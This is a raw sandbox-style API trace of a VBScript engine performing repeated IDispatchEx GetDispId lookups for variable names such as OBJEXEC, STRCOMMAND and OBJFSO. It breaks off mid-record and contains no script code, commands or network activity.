0x80020006 [0087.458] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="BLNQU1IET", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0087.458] GetCurrentThreadId () returned 0xd44 [0087.458] IUnknown:Release (This=0x11977a8) returned 0x5 [0087.458] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0087.458] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="BLNWI1NDOWSONLY", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0087.458] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="BLNWI1NDOWSONLY", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0087.458] GetCurrentThreadId () returned 0xd44 [0087.459] IUnknown:Release (This=0x11977a8) returned 0x5 [0087.459] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0087.459] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="INTBI1TSOS", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0087.459] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="INTBI1TSOS", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0087.459] GetCurrentThreadId () returned 0xd44 [0087.459] IUnknown:Release (This=0x11977a8) returned 0x5 [0087.459] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0087.459] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="INT1CODEPAGE", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0087.459] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="INT1CODEPAGE", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0087.459] GetCurrentThreadId () returned 0xd44 [0087.459] IUnknown:Release (This=0x11977a8) returned 0x5 [0087.459] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0087.460] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="INTOS1VERSION", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0087.460] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="INTOS1VERSION", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0087.460] GetCurrentThreadId () returned 0xd44 [0087.460] IUnknown:Release (This=0x11977a8) returned 0x5 [0087.460] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0087.460] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="INTUNEXPECT1EDCODEPAGE", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0087.460] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="INTUNEXPECT1EDCODEPAGE", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0087.460] GetCurrentThreadId () returned 0xd44 [0087.460] IUnknown:Release (This=0x11977a8) returned 0x5 [0087.460] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0087.461] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="INTVA1LIDARGS", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0087.461] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="INTVA1LIDARGS", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0087.461] GetCurrentThreadId () returned 0xd44 [0087.461] IUnknown:Release (This=0x11977a8) returned 0x5 [0087.461] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0087.461] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="I1", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0087.461] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="I1", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0087.461] GetCurrentThreadId () returned 0xd44 [0087.461] IUnknown:Release (This=0x11977a8) returned 0x5 [0087.461] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0087.461] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="J1", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0087.461] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="J1", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0087.461] GetCurrentThreadId () returned 0xd44 [0087.462] IUnknown:Release (This=0x11977a8) returned 0x5 [0087.464] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0087.469] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="COLI1TEMS", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0087.469] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="COLI1TEMS", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0087.469] GetCurrentThreadId () returned 0xd44 [0087.469] IUnknown:Release (This=0x11977a8) returned 0x5 [0087.469] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0087.469] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="OBJDEBU1GLOG", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0087.469] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="OBJDEBU1GLOG", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0087.469] GetCurrentThreadId () returned 0xd44 [0087.469] IUnknown:Release (This=0x11977a8) returned 0x5 [0087.469] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0087.469] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="O1BJEXEC", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0087.470] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="O1BJEXEC", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0087.470] GetCurrentThreadId () returned 0xd44 [0087.470] IUnknown:Release (This=0x11977a8) returned 0x5 [0087.470] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0087.470] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="OB1JHTMLFILE", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0087.470] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="OB1JHTMLFILE", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0087.470] GetCurrentThreadId () returned 0xd44 [0087.470] IUnknown:Release (This=0x11977a8) returned 0x5 [0087.470] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0087.470] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="OBJFO1LDER", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0087.470] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="OBJFO1LDER", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0087.470] GetCurrentThreadId () returned 0xd44 [0087.471] IUnknown:Release (This=0x11977a8) returned 0x5 [0087.471] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0087.471] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="OBJF1OLDERITEM", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0087.471] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="OBJF1OLDERITEM", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0087.471] GetCurrentThreadId () returned 0xd44 [0087.471] IUnknown:Release (This=0x11977a8) returned 0x5 [0087.471] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0087.471] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="OB1JFSO", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0087.471] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="OB1JFSO", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0087.471] GetCurrentThreadId () returned 0xd44 [0087.471] IUnknown:Release (This=0x11977a8) returned 0x5 [0087.471] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0087.472] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="OBJIT1EM", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0087.472] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="OBJIT1EM", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0087.472] GetCurrentThreadId () returned 0xd44 [0087.473] IUnknown:Release (This=0x11977a8) returned 0x5 [0087.473] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0087.473] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="OBJ1KEY", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0087.473] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="OBJ1KEY", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0087.473] GetCurrentThreadId () returned 0xd44 [0087.473] IUnknown:Release (This=0x11977a8) returned 0x5 [0087.473] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0087.473] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="OBJM1ATCHES", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0087.473] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="OBJM1ATCHES", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0087.473] GetCurrentThreadId () returned 0xd44 [0087.473] IUnknown:Release (This=0x11977a8) returned 0x5 [0087.474] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0087.474] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="OBJM1ATCHES2", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0087.474] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="OBJM1ATCHES2", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0087.474] GetCurrentThreadId () returned 0xd44 [0087.474] IUnknown:Release (This=0x11977a8) returned 0x5 [0087.474] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0087.474] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="STRALP1HABET", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0087.474] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="STRALP1HABET", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0087.474] GetCurrentThreadId () returned 0xd44 [0087.474] IUnknown:Release (This=0x11977a8) returned 0x5 [0087.475] malloc (_Size=0x2004) returned 0x87908b0 [0087.475] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0087.475] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="STR1ARG", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0087.475] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="STR1ARG", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0087.475] GetCurrentThreadId () returned 0xd44 [0087.475] IUnknown:Release (This=0x11977a8) returned 0x5 [0087.475] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0087.475] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="STRC1LASS", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0087.475] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="STRC1LASS", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0087.475] GetCurrentThreadId () returned 0xd44 [0087.475] IUnknown:Release (This=0x11977a8) returned 0x5 [0087.476] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0087.476] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="STRCM1DINFO", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0087.476] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="STRCM1DINFO", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0087.476] GetCurrentThreadId () returned 0xd44 [0087.476] IUnknown:Release (This=0x11977a8) returned 0x5 [0087.476] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0087.476] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="STRCOM1MAND", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0087.476] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="STRCOM1MAND", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0087.476] GetCurrentThreadId () returned 0xd44 [0087.477] IUnknown:Release (This=0x11977a8) returned 0x5 [0087.477] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0087.477] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="STRCOMM1ANDLINE", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0087.477] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="STRCOMM1ANDLINE", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0087.477] GetCurrentThreadId () returned 0xd44 [0087.477] IUnknown:Release (This=0x11977a8) returned 0x5 [0087.477] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0087.477] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="STRCO1MSPEC", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0087.477] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="STRCO1MSPEC", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0087.477] GetCurrentThreadId () returned 0xd44 [0087.477] IUnknown:Release (This=0x11977a8) returned 0x5 [0087.478] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0087.478] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="STRC1SDVER", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0087.478] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="STRC1SDVER", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0087.478] GetCurrentThreadId () returned 0xd44 [0087.478] IUnknown:Release (This=0x11977a8) returned 0x5 [0087.478] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0087.478] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="STR1FILE", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0087.478] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="STR1FILE", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0087.478] GetCurrentThreadId () returned 0xd44 [0087.478] IUnknown:Release (This=0x11977a8) returned 0x5 [0087.478] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0087.479] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="STRF1ILEVER", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0087.479] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="STRF1ILEVER", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0087.479] GetCurrentThreadId () returned 0xd44 [0087.479] IUnknown:Release (This=0x11977a8) returned 0x5 [0087.479] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0087.479] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="STRDEBU1GLOG", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0087.479] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="STRDEBU1GLOG", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0087.479] GetCurrentThreadId () returned 0xd44 [0087.479] IUnknown:Release (This=0x11977a8) returned 0x5 [0087.479] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0087.479] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="STRFIRSTLE1TTER", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0087.480] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="STRFIRSTLE1TTER", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0087.480] GetCurrentThreadId () returned 0xd44 [0087.480] IUnknown:Release (This=0x11977a8) returned 0x5 [0087.480] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0087.480] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="STRHE1LPALL", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0087.480] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="STRHE1LPALL", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0087.480] GetCurrentThreadId () returned 0xd44 [0087.480] IUnknown:Release (This=0x11977a8) returned 0x5 [0087.480] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0087.480] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="STRHELP1LONG", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0087.480] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="STRHELP1LONG", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0087.480] GetCurrentThreadId () returned 0xd44 [0087.480] IUnknown:Release (This=0x11977a8) returned 0x5 [0087.481] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0087.481] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="STRHELP1SHORT", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0087.481] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="STRHELP1SHORT", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0087.481] GetCurrentThreadId () returned 0xd44 [0087.481] IUnknown:Release (This=0x11977a8) returned 0x5 [0087.481] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, 